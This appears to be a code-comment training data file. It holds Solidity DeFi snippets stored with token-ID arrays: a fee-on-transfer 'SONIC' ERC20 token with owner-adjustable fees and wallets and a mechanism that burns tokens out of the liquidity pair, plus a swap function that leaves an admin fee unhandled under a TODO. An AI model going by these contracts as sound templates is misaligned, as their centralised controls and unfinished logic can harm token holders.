address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
////// src/Sonic.sol
/* pragma solidity >=0.8.10; */
/* import {IUniswapV2Router02} from "./IUniswapV2Router02.sol"; */
/* import {IUniswapV2Factory} from "./IUniswapV2Factory.sol"; */
/* import {IUniswapV2Pair} from "./IUniswapV2Pair.sol"; */
/* import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import {ERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/* import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import {SafeMath} from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol"; */
contract Sonic is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("SONIC ETH", "SONIC") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 8;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 2;
uint256 _sellMarketingFee = 10;
uint256 _sellLiquidityFee = 4;
uint256 _sellDevFee = 2;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 10_000_000 * 1e18; // 1% from total supply maxTransactionAmountTxn
maxWallet = 20_000_000 * 1e18; // 2% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0xA3cd8a6Ed55F2C65C79E782BfE97ab3C227F9569); // set as marketing wallet
devWallet = address(0xA3cd8a6Ed55F2C65C79E782BfE97ab3C227F9569); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
exclude from paying fees or having max transaction amount
|
constructor() ERC20("SONIC ETH", "SONIC") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 8;
uint256 _buyLiquidityFee = 2;
uint256 _buyDevFee = 2;
uint256 _sellMarketingFee = 10;
uint256 _sellLiquidityFee = 4;
uint256 _sellDevFee = 2;
uint256 totalSupply = 1_000_000_000 * 1e18;
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 1,975,130 |
[
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
1413,
2871,
512,
2455,
3113,
315,
1413,
2871,
7923,
288,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
203,
5411,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
203,
3639,
11272,
203,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
203,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
1725,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
576,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
8870,
2
] |
./full_match/5/0x1A0d58a79fB4e74f6a7d45bFD91C0EF3DEEfcF86/sources/contracts/tenderswap/SwapUtils.sol
|
* @notice swap two tokens in the pool @param tokenFrom the token to sell @param tokenTo the token to buy @param dx the number of tokens to sell @param minDy the min amount the user would like to receive (revert if not met) @param amplificationParams amplification parameters for the pool @param feeParams fee parameters for the pool @return amount of token user received on swap/ TODO: Need to handle keeping track of admin fees or transfer them instantly transfer tokens
|
function swap(
PooledToken storage tokenFrom,
PooledToken storage tokenTo,
uint256 dx,
uint256 minDy,
Amplification storage amplificationParams,
FeeParams storage feeParams
) external returns (uint256) {
require(dx <= tokenFrom.token.balanceOf(msg.sender), "ERC20: transfer amount exceeds balance");
uint256 dy;
uint256 dyFee;
(dy, dyFee) = _calculateSwap(tokenFrom, tokenTo, dx, amplificationParams, feeParams);
require(dy >= minDy, "Swap didn't result in min tokens");
uint256 dyAdminFee = (dyFee * feeParams.adminFee) / FEE_DENOMINATOR / tokenTo.precisionMultiplier;
tokenFrom.token.safeTransferFrom(msg.sender, address(this), dx);
tokenTo.token.safeTransfer(msg.sender, dy);
emit Swap(msg.sender, tokenFrom.token, dx, dy);
return dy;
}
| 1,887,378 |
[
1,
22270,
2795,
2430,
316,
326,
2845,
225,
1147,
1265,
326,
1147,
358,
357,
80,
225,
1147,
774,
326,
1147,
358,
30143,
225,
6633,
326,
1300,
434,
2430,
358,
357,
80,
225,
1131,
40,
93,
326,
1131,
3844,
326,
729,
4102,
3007,
358,
6798,
261,
266,
1097,
309,
486,
5100,
13,
225,
2125,
412,
1480,
1370,
2125,
412,
1480,
1472,
364,
326,
2845,
225,
14036,
1370,
14036,
1472,
364,
326,
2845,
327,
3844,
434,
1147,
729,
5079,
603,
7720,
19,
2660,
30,
12324,
358,
1640,
19966,
3298,
434,
3981,
1656,
281,
578,
7412,
2182,
5934,
715,
7412,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7720,
12,
203,
3639,
453,
22167,
1345,
2502,
1147,
1265,
16,
203,
3639,
453,
22167,
1345,
2502,
1147,
774,
16,
203,
3639,
2254,
5034,
6633,
16,
203,
3639,
2254,
5034,
1131,
40,
93,
16,
203,
3639,
3986,
412,
1480,
2502,
2125,
412,
1480,
1370,
16,
203,
3639,
30174,
1370,
2502,
14036,
1370,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
13437,
1648,
1147,
1265,
18,
2316,
18,
12296,
951,
12,
3576,
18,
15330,
3631,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
8863,
203,
3639,
2254,
5034,
7732,
31,
203,
3639,
2254,
5034,
7732,
14667,
31,
203,
3639,
261,
15680,
16,
7732,
14667,
13,
273,
389,
11162,
12521,
12,
2316,
1265,
16,
1147,
774,
16,
6633,
16,
2125,
412,
1480,
1370,
16,
14036,
1370,
1769,
203,
203,
3639,
2583,
12,
15680,
1545,
1131,
40,
93,
16,
315,
12521,
10242,
1404,
563,
316,
1131,
2430,
8863,
203,
203,
3639,
2254,
5034,
7732,
4446,
14667,
273,
261,
15680,
14667,
380,
14036,
1370,
18,
3666,
14667,
13,
342,
478,
9383,
67,
13296,
1872,
706,
3575,
342,
1147,
774,
18,
14548,
23365,
31,
203,
203,
3639,
1147,
1265,
18,
2316,
18,
4626,
5912,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
6633,
1769,
203,
3639,
1147,
774,
18,
2316,
18,
4626,
5912,
12,
3576,
18,
15330,
16,
7732,
1769,
203,
203,
3639,
3626,
12738,
12,
3576,
18,
15330,
16,
1147,
1265,
18,
2316,
16,
6633,
16,
7732,
1769,
203,
203,
3639,
327,
7732,
31,
203,
565,
289,
2
] |
./full_match/43114/0x35589C1465A8DbF60A20AB8B0E1832f935E879A2/sources/DAO/EDGBondDepository.sol
|
* @notice deposit bond @param _amount uint @param _maxPrice uint @param _depositor address @return uint/ profits are calculated
|
) external returns ( uint ) {
require( _depositor != address(0), "Invalid address" );
decayDebt();
require( totalDebt <= terms.maxDebt, "Max capacity reached" );
uint nativePrice = _bondPrice();
uint value = ITreasury( treasury ).valueOf( principle, _amount );
uint fee = payout.mul( terms.fee ).div( 10000 );
uint profit = value.sub( payout ).sub( fee );
principle is transferred in
approved and
deposited into the treasury, returning (_amount - profit) OHM
IERC20( principle ).safeTransferFrom( msg.sender, address(this), _amount );
IERC20( principle ).approve( address( treasury ), _amount );
ITreasury( treasury ).deposit( _amount, principle, profit );
IERC20( EDG ).safeTransfer( DAO, fee );
}
| 4,625,483 |
[
1,
323,
1724,
8427,
282,
389,
8949,
2254,
282,
389,
1896,
5147,
2254,
282,
389,
323,
1724,
280,
1758,
225,
327,
2254,
19,
9214,
1282,
854,
8894,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
262,
3903,
1135,
261,
2254,
262,
288,
203,
3639,
2583,
12,
389,
323,
1724,
280,
480,
1758,
12,
20,
3631,
315,
1941,
1758,
6,
11272,
203,
203,
3639,
22286,
758,
23602,
5621,
203,
3639,
2583,
12,
2078,
758,
23602,
1648,
6548,
18,
1896,
758,
23602,
16,
315,
2747,
7519,
8675,
6,
11272,
203,
540,
203,
3639,
2254,
6448,
5147,
273,
389,
26425,
5147,
5621,
203,
203,
203,
3639,
2254,
460,
273,
24142,
266,
345,
22498,
12,
9787,
345,
22498,
262,
18,
1132,
951,
12,
846,
9523,
2444,
16,
389,
8949,
11272,
203,
203,
203,
3639,
2254,
14036,
273,
293,
2012,
18,
16411,
12,
6548,
18,
21386,
262,
18,
2892,
12,
12619,
11272,
203,
3639,
2254,
450,
7216,
273,
460,
18,
1717,
12,
293,
2012,
262,
18,
1717,
12,
14036,
11272,
203,
203,
5411,
846,
9523,
2444,
353,
906,
4193,
316,
203,
5411,
20412,
471,
203,
5411,
443,
1724,
329,
1368,
326,
9787,
345,
22498,
16,
5785,
261,
67,
8949,
300,
450,
7216,
13,
531,
44,
49,
203,
3639,
467,
654,
39,
3462,
12,
846,
9523,
2444,
262,
18,
4626,
5912,
1265,
12,
1234,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
8949,
11272,
203,
3639,
467,
654,
39,
3462,
12,
846,
9523,
2444,
262,
18,
12908,
537,
12,
1758,
12,
9787,
345,
22498,
262,
16,
389,
8949,
11272,
203,
3639,
24142,
266,
345,
22498,
12,
9787,
345,
22498,
262,
18,
323,
1724,
12,
389,
8949,
16,
846,
9523,
2444,
16,
450,
7216,
11272,
203,
540,
203,
5411,
467,
654,
39,
3462,
12,
15585,
2
] |
// SPDX-License-Identifier: AGPL V3.0
pragma solidity 0.6.12;
// Part: AddressUpgradeable
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
